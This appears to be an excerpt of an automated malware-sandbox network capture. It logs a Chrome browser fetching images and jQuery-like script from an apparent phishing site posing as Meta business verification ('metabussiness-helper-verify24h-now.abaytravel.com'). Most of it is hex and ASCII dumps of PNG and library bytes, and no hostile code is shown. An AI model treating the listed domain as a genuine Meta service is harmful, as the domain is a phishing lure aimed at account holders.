2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 Data Ascii: return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t
2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 6e 63 Data Ascii: e?e.ownerDocument\|\|e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(func
2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 2b 2b 5d 29 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c Data Ascii: ++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],
2025-03-13 09:50:34 UTC	1369	IN	Data Raw: 74 28 22 69 6e 70 75 74 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d Data Ascii: t("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:33 UTC	692	OUT	GET /img/block_2.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:34 UTC	257	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:28 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:28 GMT ETag: "4963-61920b777e600" Accept-Ranges: bytes Content-Length: 18787 Content-Type: image/png
2025-03-13 09:50:34 UTC	7935	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 65 08 06 00 00 00 bb be 46 f1 00 00 24 c2 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 65 78 69 66 00 00 78 da ad 9c 6b 96 9c 37 0e 64 ff 73 15 b3 04 be 1f cb e1 03 3c 67 76 30 cb 9f 1b cc 92 6c 49 6e bb ed b6 64 a9 4a 99 59 fc 48 02 08 44 80 a0 9d fd bf ff 7b dd ff e1 d7 c8 a1 ba 5c 5a af a3 56 cf af 3c f2 88 93 6f ba ff fc 9a ef ef e0 f3 fb fb fd aa f9 eb bd f0 e3 eb ae 96 af 37 22 2f 25 be a6 cf 3f 7b fd fa fc b7 d7 c3 f7 01 3e 5f 26 df 95 df 0d d4 f7 d7 1b eb c7 37 c6 d7 93 63 ff 69 a0 f8 f9 92 34 23 7d 7f be 06 1a 5f 03 a5 f8 79 23 7c 0d 30 e7 d7 52 46 6f bf 5f c2 b2 cf d7 af 9f ff 6c 03 7f 9c fe ca fd c7 69 ff f2 ef c6 ee 9d c2 73 52 8c 96 42 f2 fc 9d d2 d7 04 92 Data Ascii: PNGIHDRdeF$zTXtRaw profile type exifxk7ds<gv0lIndJYHD{\ZV<o7"/%?{>_&7ci4#}_y#\|0RFo_lisRB
2025-03-13 09:50:34 UTC	8000	IN	Data Raw: 2b 74 87 eb 73 ae e6 e5 10 bc 0a 75 82 2e 30 4f 98 70 3b 6a 64 7f fd 64 6a 57 54 f2 67 0c f7 1a 18 16 a9 50 99 79 7e eb e8 fa 8f ba 44 9a 52 97 19 74 3f a1 27 48 e8 1c aa 4e 2f 18 5b 51 6b e2 d0 a9 1a cc 06 3f 07 05 d3 02 e4 72 95 eb dc 09 ab 0d 0b 6a d4 14 bd 51 dd d6 8d d8 61 9b 59 86 8a fc a6 1b 72 cc 08 75 93 e0 f6 a8 6c c3 7b 51 a2 35 26 75 1a be 46 2d e4 46 6e 79 2d 5d 96 52 03 75 04 a9 ba 0e f2 01 12 7c 91 f0 51 ca 60 81 30 7f d8 81 1f 48 cd a4 1c 3b 50 f4 64 ca 5e 36 31 c0 4e 3e 02 82 8c 52 1a 30 5c 54 52 22 8a c4 db d0 15 cb a9 a6 79 dc 71 18 99 d6 cf d7 73 0d fd d0 a5 90 00 3a 10 f2 10 e7 23 0d 3a 67 36 01 c6 d6 2d dd aa 46 c0 d5 c1 72 88 62 cb 4d f6 47 e1 07 9d 66 41 46 a3 fa 82 e0 f2 e4 c3 a9 db 18 58 3d 13 f4 31 3c 26 a4 7e 8d ae b9 ee 2d a1 Data Ascii: +tsu.0Op;jddjWTgPy~DRt?'HN/[Qk?rjQaYrul{Q5&uF-Fny-]Ru\|Q`0H;Pd^61N>R0\TR"yqs:#:g6-FrbMGfAFX=1<&~-
2025-03-13 09:50:34 UTC	2852	IN	Data Raw: 2a 16 8b 72 40 7d 65 4b a9 bf 7f 13 f9 5c 93 8e e1 8d 11 37 26 43 47 08 8a 83 de 7a 22 a9 d1 49 4a aa 75 20 63 9e 91 58 93 90 91 31 d1 18 c0 c8 72 69 54 9e 1b 24 29 4e 92 a4 c9 99 59 69 a8 0e ac b5 fa ed ed 3e 4a c2 cc 2c 4d d3 d4 91 55 5d cb 76 b8 a8 3c 3a 58 03 65 f3 83 22 65 13 75 14 1e aa fc cb 00 8b a3 4a 64 3d 94 4a a5 82 93 d4 5d b9 52 d2 50 5f 2e 2b 51 63 ed e6 03 92 95 81 da 38 6c 86 9c 83 24 c9 ce 92 a8 ab ab 4b 1c 30 58 a4 cb 35 36 82 39 6a 32 b2 45 f2 31 e6 63 43 92 27 ca 27 65 df ce d2 10 42 21 4e d3 b4 10 c7 b1 01 4a 9a c7 11 24 9c 36 e6 d4 ac ef fb c3 86 b5 57 aa d1 b4 31 18 67 36 ca b6 b1 1a 74 36 cc f9 a3 dd c3 86 b9 ae 8d f2 9d 31 9e 5f 4e 46 d8 58 63 ce 26 d1 89 74 42 0b 75 4d 8d 15 40 ba bc f7 9d b1 a4 b7 80 3e a0 29 1a df 82 39 87 2b Data Ascii: *r@}eK\7&CGz"IJu cX1riT$)NYi>J,MU]v<:Xe"euJd=J]RP_.+Qc8l$K0X569j2E1cC''eB!NJ$6W1g6t61_NFXc&tBuM@>)9+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:33 UTC	694	OUT	GET /img/no_avatar.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:34 UTC	256	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:28 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:06 GMT ETag: "179b-61920b6283480" Accept-Ranges: bytes Content-Length: 6043 Content-Type: image/png
2025-03-13 09:50:34 UTC	6043	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 17 50 49 44 41 54 78 da ed 9d 09 70 5d e5 75 c7 1f fb 12 c2 16 68 c2 52 96 04 32 a4 50 d6 50 36 43 ca 60 37 2c 21 6d 26 90 4e 9a 96 4e 98 4c 09 4d 0a 4d 27 40 67 5a 1a 87 a4 10 28 29 81 34 03 b4 10 62 ed 92 65 c9 5a 2c c9 92 b5 59 b2 b1 6c 61 d9 f2 6e 55 28 89 58 52 08 18 03 66 33 f6 eb ff 48 0f e9 c9 7a 7a 7a cb bd f7 dd e5 77 66 7e 63 0c c6 7a ef dc 73 ce fd be f3 9d 73 be 58 0c 41 10 04 09 87 0c 0c 0c 1c bd 79 f3 e6 33 c5 a5 e2 06 71 8b f8 9e b8 c7 d8 b4 69 d3 03 fa f5 27 fa f5 61 f1 e4 96 2d 5b 9e b0 df 27 b8 ef a3 3f a7 7f ff 5d f1 75 fd f3 3c fd b9 0b 36 6c d8 f0 87 fd fd fd 87 a3 61 04 29 a0 Data Ascii: PNGIHDR\rfbKGDPIDATxp]uhR2PP6C`7,!m&NNLMM'@gZ()4beZ,YlanU(XRf3Hzzzwf~czssXAy3qi'a-['?]u<6la)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:33 UTC	698	OUT	GET /img/banner_new_01.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:34 UTC	259	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:29 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:32 GMT ETag: "30584-61920b7b4ef00" Accept-Ranges: bytes Content-Length: 198020 Content-Type: image/png
2025-03-13 09:50:34 UTC	7933	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 04 38 08 02 00 00 00 67 b1 56 14 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 80 00 49 44 41 54 78 da ec fd 79 90 dc f9 9d de f9 3d cf f7 57 85 1b dd e8 1b dd e8 26 9b c7 90 1c 36 ef 63 66 24 ed 6a 23 24 85 57 92 57 e1 f0 5a 2b c9 b1 f6 ae 37 7c 44 38 2c 87 22 d6 11 96 f7 8f 55 58 0e ad 14 76 ac 56 96 1d 5a 6b b5 23 6d cc 4a a3 d1 0c 35 1c 5e c3 7b 48 0e af e1 d1 ec fb be d1 0d 74 e3 be 81 42 55 e6 ef fb f8 8f ef 2f b3 12 e8 26 c1 06 90 28 a0 ea fd 12 d5 53 95 95 55 95 55 a8 ca ac 7c 7e 9f df f3 f1 de 63 4b 02 00 00 00 00 00 00 00 e0 6a 2b 6b 7d Data Ascii: PNGIHDR8gV cHRMz&u0`:pQ<bKGDIDATxy=W&6cf$j#$WWZ+7\|D8,"UXvVZk#mJ5^{HtBU/&(SUU\|~cKj+k}
2025-03-13 09:50:34 UTC	8000	IN	Data Raw: b8 5e 10 40 03 00 00 5c af 52 8a 52 ad 5a 7d e0 74 ff ed e7 eb 37 9e ae 4f bf 91 b8 38 52 e9 92 c8 96 8a 54 25 c9 9d 6a ec 52 d5 2b c5 52 55 ef 5a e8 e0 c0 8d 28 56 1b 79 ae 93 d9 e7 49 fa 3c 5c ee 48 ca d2 8a 9e 3b 5a 5e 3a be e9 8e 1d f5 c3 77 d5 0f de d9 df bc a5 16 9b f4 19 00 00 e0 3a 41 00 0d 00 00 70 9d 72 c9 f9 51 9e 3d a8 af 3e d9 7f ff 45 1f 3c dd 4b 6d c0 b9 c4 63 49 d3 5e 82 b8 48 35 49 b1 63 97 b8 aa c6 72 0a 31 1c 6e 50 7e d3 e4 fe 5b 75 3a b7 91 67 8d ab f6 9f f2 81 d3 0b 3f 79 ad fb c0 1d fd 87 77 f7 bb 77 d4 ae 50 c1 01 00 00 b0 f6 08 a0 01 00 00 ae b2 d6 3f 9b a4 93 a5 d2 ab d7 4c 76 36 7d a1 a4 8d 29 6b 7a b9 52 a2 b1 5d 92 9c 5e d2 4f 5f cb 97 1e ab 8f ec cb d2 ca 90 b2 c5 4a fa 22 29 43 2d c1 cc 28 68 f1 ea 25 65 f2 e6 b5 fe 5e 00 57 Data Ascii: ^@\RRZ}t7O8RT%jR+RUZ(VyI<\H;Z^:w:AprQ=>E<KmcI^H5Icr1nP~[u:g?ywwP?Lv6})kzR]^O_J")C-(h%e^W
2025-03-13 09:50:34 UTC	8000	IN	Data Raw: f7 85 ba 68 92 73 01 58 23 ed d1 52 19 a6 9b 87 30 7a 72 a1 24 1d 39 a7 af 3c b7 70 66 14 ce 57 00 00 60 4d f0 c4 15 00 80 35 d3 ab 6f f3 58 ed a4 e0 da eb b7 fe a4 3e 7d b0 da 5d 92 58 71 8d 6b 7b 22 5d e4 b8 56 f5 2d 7d ae 4a 55 bf d6 5f 01 b0 a1 5d 70 3a 7f 21 87 06 d6 80 13 15 db 17 2f 45 68 d1 73 7b f4 74 b4 f7 44 f7 a3 d7 16 08 a0 01 00 58 13 04 d0 00 00 ac 81 61 f7 a0 5d a2 64 68 d2 78 74 7f be f6 64 5f ab 92 3e 96 6a 92 38 45 a5 4b 7a a9 6d 1d ec a6 b3 cf 45 dd 5a 7f 1d c0 86 46 98 05 ac b9 e9 c3 e5 ec ef 63 3b 38 e4 99 5f d0 aa 3c b4 bf bc 71 8a 03 45 00 00 ac 01 02 68 00 00 d6 40 7b 6e 9c a4 5a 25 4e a2 94 cf 3c 5c 4f 2d bb 68 48 99 ed ae a8 b3 ed c8 ee a4 32 d9 3a 48 fa 0c ac 25 a7 d8 c9 64 e0 d2 19 22 b0 b5 be 5d c0 46 e4 b7 fa cd 9b 86 d1 b1 Data Ascii: hsX#R0zr$9<pfW`M5oX>}]Xqk{"]V-}JU_]p:!/Ehs{tDXa]dhxtd_>j8EKzmEZFc;8_<qEh@{nZ%N<\O-hH2:H%d"]F
2025-03-13 09:50:34 UTC	8000	IN	Data Raw: 5c 95 e1 c9 49 91 ed ee a2 d8 f5 97 79 da d2 4b 96 d5 ba 08 a5 36 4f 9d e2 58 6e ed a5 51 1d f6 4a 5d ce 6d 2c 51 b5 6d ad 8c bd 32 6a 3d a8 72 86 25 3b 92 56 c6 aa 35 b6 b6 2d ea d7 ee d3 c9 b3 5a ae b9 65 8b 17 17 53 a2 95 b1 9e 3e 92 17 8f 69 b6 9d 63 79 94 7d a7 73 ff 2e 75 6d c8 30 c3 17 9b 64 61 fb 2d 6b fd af 72 63 9b 6d 9c 1c 32 e8 ea 9b 36 e7 00 1d d0 d8 f0 12 b7 5a 56 59 e3 37 1e 3f fd e0 7f af e5 93 aa bd dc c9 55 a9 71 97 a4 28 e1 f7 45 d2 f4 fe a4 b6 c3 9b 55 ea 56 ce 9d fe e3 7f f5 f7 ff ec 7f fc 5f dc f5 9e 0f 4b 8a e3 a8 f5 31 71 ec 10 1b 44 56 ef 21 da 2f 88 34 3d c9 0b 00 00 5c 5b 4c 40 03 c0 25 d8 56 4a 8b 86 a5 a4 5b d4 e2 56 cd 9c da 59 8a dc 5d 7a 76 a6 93 5c db 26 1c 25 1a 45 8f 1f d1 67 9e c9 67 9e c9 e3 07 95 a8 cd e0 5c f6 a9 a0 Data Ascii: \IyK6OXnQJ]m,Qm2j=r%;V5-ZeS>icy}s.um0da-krcm26ZVY7?Uq(EUV_K1qDV!/4=\[L@%VJ[VY]zv\&%Egg\
2025-03-13 09:50:34 UTC	8000	IN	Data Raw: 59 b4 42 c3 7c 96 8f b3 6a 31 4a 45 71 ec 69 03 45 52 9e 27 bc 72 a1 20 06 d1 8e be f8 d4 f0 c6 6d 7e da 71 56 35 a2 0c c9 fb 1c 19 a8 2f f7 3e 5d 65 32 30 10 01 6a 1f 3f 79 fa cf 3f 7b fc 77 ff 78 f6 e5 57 3b 27 4e b6 27 ce 00 c8 86 06 1b 9b d7 f7 ef da b5 ee 1b de 51 df b6 65 df df fc b9 d6 a1 63 2a 45 f9 54 11 c6 c0 e6 d2 95 5c 4e 71 b4 4a a1 06 90 62 e1 62 cd dc e3 28 8f d9 1a 0a a4 f5 9c 3b 18 e6 f6 bd f4 dc 8f ff 83 ad 3f fa dd db 7f e2 07 39 d8 47 92 3c db fd b0 dc 47 ce 71 1c c7 b9 ea b8 00 ed 38 8e d3 a5 0c be c8 80 00 99 a9 20 20 99 28 12 b1 a4 3e f2 d1 3f 2f 66 e7 0d 19 98 82 35 a6 42 98 08 ed e8 27 8e 42 30 11 27 10 46 23 74 bc e5 82 29 1c 31 a9 63 6a 8e 88 65 bf 11 a5 c3 39 03 40 4e ce e0 99 83 d9 e7 9e ab 4d cf 95 dd 8a 60 40 41 c4 b9 3a 59 Data Ascii: YB\|j1JEqiER'r m~qV5/>]e20j?y?{wxW;'N'Qec*ET\NqJbb(;?9G<Gq8 (>?/f5B'B0'F#t)1cje9@NM`@A:Y
2025-03-13 09:50:35 UTC	8000	IN	Data Raw: 56 ea 5f b2 8c a6 62 66 2e fb b3 4f a2 e8 c4 f0 30 31 9c 9a 9b 3f 3a 33 83 52 93 4d e3 2b c8 58 d5 80 dd 38 35 5c f4 73 5a a0 40 b0 19 d8 23 68 b4 63 40 46 4f 51 97 8a ac 2b 98 42 98 9b ad b1 81 9d d9 d8 06 1b a9 21 4f 49 6b 51 44 ee d5 9f 19 e2 ed 51 74 36 94 59 1f 0c d6 c8 8a 56 47 0a 80 4c 01 6a 83 45 08 1d a3 18 df 42 69 c3 9b 6e cd 1b 8d 4e ab c8 37 8e 8d 7d d7 bb 86 df bc 7b b9 df 36 c7 71 1c e7 f2 70 01 da 71 1c e7 d2 04 62 d3 83 6f 1e dc ba ed cc c1 03 a5 7c cb 1c d8 6b 8d 3a f8 52 98 4d 9d 8f 14 94 e6 80 87 28 a5 56 25 3e 17 66 5e 2c dc 7c ec 47 49 8d cf c0 b9 3f 77 83 18 92 c6 1d 00 8b ff 8c f9 12 14 84 c2 d2 20 75 08 18 ee c3 1b f7 cc de b7 1b 34 a9 27 e9 b8 5c a2 44 ed 55 19 d8 c8 d7 6e 58 f7 86 f4 ab 72 ad a0 e9 a9 f4 00 e3 82 74 c0 cb 3e 76 Data Ascii: V_bf.O01?:3RM+X85\sZ@#hc@FOQ+B!OIkQDQt6YVGLjEBinN7}{6qpqbo\|k:RM(V%>f^,\|GI?w u4'\DUnXrt>v
2025-03-13 09:50:35 UTC	8000	IN	Data Raw: 8e b3 2a 29 5b bb d8 6c c4 f9 1c 57 21 06 5a 16 5b d6 26 3e f5 85 7d 3f f9 8f e7 0e 1c 31 20 90 39 58 a0 c8 c0 02 52 a9 35 43 02 ac 88 cd 72 31 f8 ac 14 4c 0f 4e 4f 0f d5 eb 1b fb fb 24 02 c1 c8 e1 5a fd e6 35 23 fb c6 cf cc 87 ce 59 cf d9 3b de b0 48 73 ac c3 a1 d0 ac d4 db f2 1a 53 e5 92 26 c9 0f 7d fb ce 0f 7e fb b6 81 fe 4c 31 8a 5a 04 d1 1c c8 d7 ae 6d ec de 3d f4 d0 d7 6f 6a 9d d1 a1 c7 da 4f ff de dc a9 fd 62 30 00 37 bd a3 be eb 6d f5 54 29 2e e6 b8 a5 1c 6b 18 09 8b 65 28 82 48 3b 6b 80 61 8f d9 39 59 28 18 52 30 48 ec 8e 91 65 b4 05 c2 45 60 ae 85 9e 68 c7 71 1c 67 85 e3 02 b4 e3 38 ce 25 38 6b c6 8b 02 1b cf bf 34 f2 07 1f cb cf 4c a7 f5 79 8f e1 62 11 49 09 01 49 f8 04 80 50 c8 b2 dc 1a b7 8f 7c d3 23 27 ff 4d c1 a2 4a d5 60 50 b8 d4 b6 a3 3f Data Ascii: *)[lW!Z[&>}?1 9XR5Cr1LNO$Z5#Y;HsS&}~L1Zm=ojOb07mT).ke(H;ka9Y(R0HeE`hqg8%8k4LybIIP\|#'MJ`P?
2025-03-13 09:50:35 UTC	8000	IN	Data Raw: cf cd 90 1f 3c 52 7f e5 20 95 ec 23 dd aa 37 b8 09 fa f5 4b 28 87 a3 45 58 0e 9a 8f 76 9e fc d8 c9 c6 c1 23 00 b2 14 59 cb e8 74 26 19 8d 88 00 00 15 57 b6 d0 1d ee 43 9e 49 2a 96 d6 ae e5 38 2b 16 ca a2 58 13 a0 72 8c 2a 10 48 b2 ef e6 f7 0e bd e1 47 58 6b c4 a6 04 96 0d dd af 67 ba 83 67 cb 6a 61 60 ed fa bb de f7 fd b7 bc fd 9b 99 59 9a ad 1a ba 2d 1a 8e f3 ba 22 7e 3a fa f3 32 a9 46 b0 25 fd 1c 98 4a 43 03 29 4b 65 80 ea a6 7b 6e d7 f7 7c 4b f8 f9 9f c1 8d db 53 5e 33 50 67 b6 79 b0 ff ac b4 0d 2c 14 49 7b 6f 94 31 ee ed 58 b3 3e 92 d7 91 f2 a7 2d 8c 0c e1 47 bf 1b ff e6 17 f0 d6 37 29 af ad c9 6c 30 a7 16 a6 3f 9f 97 a8 50 1b ed 6b de b9 29 cf ce 16 01 aa d0 b9 45 28 d1 8c 73 bb cb 32 a9 cc fa 09 d4 82 b4 1f 11 7c 6d d7 d4 bb b1 d1 69 02 87 10 6d df Data Ascii: <R #7K(EXv#Yt&WCI8+XrHGXkggja`Y-"~:2F%JC)Ke{n\|KS^3Pgy,I{o1X>-G7)l0?Pk)E(s2\|mim
2025-03-13 09:50:35 UTC	8000	IN	Data Raw: e6 eb 3a f3 eb 7c 2d 44 1a b6 8b 3c 7a 1f 9b 15 00 8c e3 f2 a9 b3 ad 1d 63 7e 5e e5 da 47 05 d9 5f 68 02 10 a0 55 5f c5 46 c1 43 1f 08 04 02 81 c0 9b 62 fc 7a bb c8 a0 e7 75 06 86 4d af d6 49 8a c0 04 82 a1 94 54 97 cf ca 26 d7 7a c8 d9 2c 3b 21 40 f5 f9 e9 5c 2e 99 6b 0f 8e fa e2 7c 63 71 7e ea d4 91 62 a9 84 42 a9 d4 d3 5b ed 1b 2c 54 7a 8a e5 6a a9 5c 65 21 2a 14 4a c8 19 cf 25 c9 5a db 6e d9 24 69 37 97 e3 7a b3 d5 5e 6e d5 6b ed 46 d3 26 2d 09 fd 3b 0f ec fb e8 ff 50 29 fb ae dd 59 23 8d 46 61 a4 51 1c b4 e9 72 c9 e4 26 48 9c 60 6a 00 8a 10 c5 8a 7f f3 73 c7 7e e5 0f 5f fd d0 23 7b 7e ec db ee b8 7d f7 b0 25 12 28 82 49 a4 08 b4 9b fa 7a 0e 04 02 9b 8c 20 40 07 02 5d 80 2b b9 ee bf e7 f6 e1 a1 81 99 d9 f9 f5 af bc 0c b7 df f6 d8 a3 df f5 3f 0c 6d d9 Data Ascii: :\|-D<zc~^G_hU_FCbzuMIT&z,;!@\.k\|cq~bB[,Tzj\e!*J%Zn$i7z^nkF&-;P)Y#FaQr&H`js~_#{~}%(Iz @]+?m
